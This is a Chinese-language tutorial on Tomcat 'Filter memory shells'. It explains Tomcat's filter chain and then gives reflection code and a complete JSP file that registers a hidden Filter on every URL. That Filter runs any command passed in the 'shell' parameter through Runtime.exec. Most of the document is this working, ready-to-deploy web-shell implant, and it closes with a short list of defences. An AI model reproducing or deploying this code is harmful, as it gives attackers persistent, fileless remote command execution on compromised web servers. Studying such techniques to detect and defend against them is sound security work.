内存马第二弹——Filter内存马
字数 1450 2025-08-20 18:18:39
Filter内存马技术分析与实现
一、Tomcat三大组件概述
在Tomcat容器中,HTTP请求处理涉及三大核心组件:
- Servlet:处理客户端请求并生成响应,执行核心业务逻辑
- Filter:过滤器,在HttpServletRequest到达Servlet及HttpServletResponse到达客户端前进行拦截
- 主要功能:权限控制、日志记录、性能监控、数据加解密
- Listener:监听应用程序中的特定事件并执行相应操作
- 主要功能:管理应用程序生命周期、会话状态、资源初始化和释放
二、Tomcat请求处理流程
-
启动阶段:
- ServletContextListener执行contextInitialized方法
- 初始化资源(如数据库连接池)
-
请求到达阶段:
- 请求到达Tomcat后传递给匹配路径的过滤器链
-
Filter链处理:
- 请求依次经过web.xml或注解定义的过滤器链
- 每个Filter的doFilter方法依次执行
- Filter可修改请求对象或拦截请求
-
Servlet处理:
- 请求到达目标Servlet
- Servlet调用相应doGet/doPost方法处理请求
-
响应处理:
- 响应依次经过Filter链
- Filter可修改响应内容
- 响应最终传递回客户端
-
销毁阶段:
- ServletContextListener执行contextDestroyed方法
- 释放资源
三、Filter内存马实现原理
1. Filter执行流程分析
ApplicationFilterChain类的filters属性包含自定义filter信息StandardWrapperValve类创建Filter链并准备执行doFilterFilterChain接口用于封装和管理过滤器链
2. FilterChain创建过程
ApplicationFilterFactory.createFilterChain()方法关键步骤:
- 实例化
ApplicationFilterChain - 获取当前Servlet所属的
StandardContext对象 - 获取上下文中的所有
FilterMap - 根据URL和Servlet名称匹配过滤器
- 使用
addFilter方法将filterConfig加入链中 - 返回创建好的
filterChain
四、内存马构造步骤
1. 获取Context对象
// 获取ServletContext对象
ServletContext servletContext = request.getServletContext();
// 获取ApplicationContextFacade对象
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
// 通过反射获取ApplicationContext
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
// 获取StandardContext
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
2. 获取filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
3. 构造恶意Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("执行过滤");
}
@Override
public void destroy() {}
};
4. 构造FilterDef并添加到StandardContext
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
5. 构造FilterMap并添加到StandardContext
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*"); // 匹配所有请求
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
6. 构造ApplicationFilterConfig并添加到filterConfigs
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
hashMap.put(filterName, applicationFilterConfig);
五、完整内存马实现代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
// 获取ServletContext对象
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
// 通过反射获取ApplicationContext
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
// 获取StandardContext
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
// 获取filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){
// 构造filter对象
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("执行过滤");
}
@Override
public void destroy() {}
};
// 构造filterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 构造filterMap对象
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 构造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 将filterConfig添加到filterConfigs中
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("注入完成");
}
%>
六、防御措施
- 代码审计:定期检查web应用中的JSP文件
- 权限控制:限制上传和执行动态脚本的能力
- 运行时监控:监控可疑的Filter动态注册行为
- 安全加固:禁用不必要的反射功能
- 更新补丁:及时更新Tomcat和相关组件
七、总结
Filter内存马通过动态注册恶意Filter到Tomcat容器中,利用Filter的请求拦截能力实现命令执行。其核心在于:
- 通过反射获取StandardContext对象
- 构造恶意Filter及其相关配置对象
- 将恶意Filter添加到Filter链中
- 通过URL参数传递执行命令
理解其实现原理有助于更好地防御此类内存马攻击。